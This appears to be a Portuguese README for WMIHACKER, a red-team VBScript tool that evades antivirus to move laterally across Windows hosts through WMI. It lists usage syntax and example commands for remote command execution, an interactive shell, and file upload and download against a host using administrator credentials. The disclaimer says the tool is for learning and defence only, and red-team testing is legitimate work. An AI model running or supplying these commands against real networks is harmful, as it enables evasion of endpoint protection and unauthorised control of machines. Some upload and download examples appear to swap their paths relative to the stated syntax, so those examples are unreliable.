rootclay/wmihackerUma Ferramenta de Bypass de Antivírus para Movimentação Lateral e Execução de Comandos
Aviso: A tecnologia envolvida neste projeto é apenas para fins de aprendizado e defesa de segurança, uso ilegal é proibido!
Ferramenta de teste de execução de comando de movimento lateral para bypass de antivírus（Não precisa da Porta 445）
Introdução: A execução de comando das ferramentas comuns WMIEXEC e PSEXEC é criar um serviço ou chamar Win32_Process.create, esses métodos foram interceptados por softwares antivírus em 100%, então criamos o WMIHACKER (Ferramenta de teste de execução de comando de movimento lateral para bypass de antivírus (Não precisa da Porta 445)).
Funções principais: 1. Execução de comandos; 2. Upload de arquivos; 3. Download de arquivos
C:\Users\administrator\Desktop>cscript //nologo WMIHACKER_0.6.vbs
__ ____ __ _____ _ _ _____ _ ________ _____
\ \ / / \/ |_ _| | | | | /\ / ____| |/ / ____| __ \
\ \ /\ / /| \ / | | | | |__| | / \ | | | ' /| |__ | |__) |
\ \/ \/ / | |\/| | | | | __ | / /\ \| | | < | __| | _ /
\ /\ / | | | |_| |_ | | | |/ ____ \ |____| . \| |____| | \ \
\/ \/ |_| |_|_____| |_| |_/_/ \_\_____|_|\_\______|_| \_\
v0.6beta By. Xiangshan@360RedTeam
Usage:
WMIHACKER.vbs /cmd host user pass command GETRES?
WMIHACKER.vbs /shell host user pass
WMIHACKER.vbs /upload host user pass localpath remotepath
WMIHACKER.vbs /download host user pass localpath remotepath
/cmd single command mode
host hostname or IP address
GETRES? Res Need Or Not, Use 1 Or 0
command the command to run on remote host
O resultado é exibido após a execução do comando
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1
Nenhum resultado é exibido após a execução do comando
> cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0
modo shell
> cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!"
Upload de arquivo: copiar o calc.exe local para o host remoto c:\calc.exe
> cscript wmihacker_0.4.vbe /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc"
Download de arquivo: Baixar o calc.exe do host remoto para o local c:\calc.exe
> cscript wmihacker_0.4.vbe /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
WMIHACKER juntou-se ao 404Starlink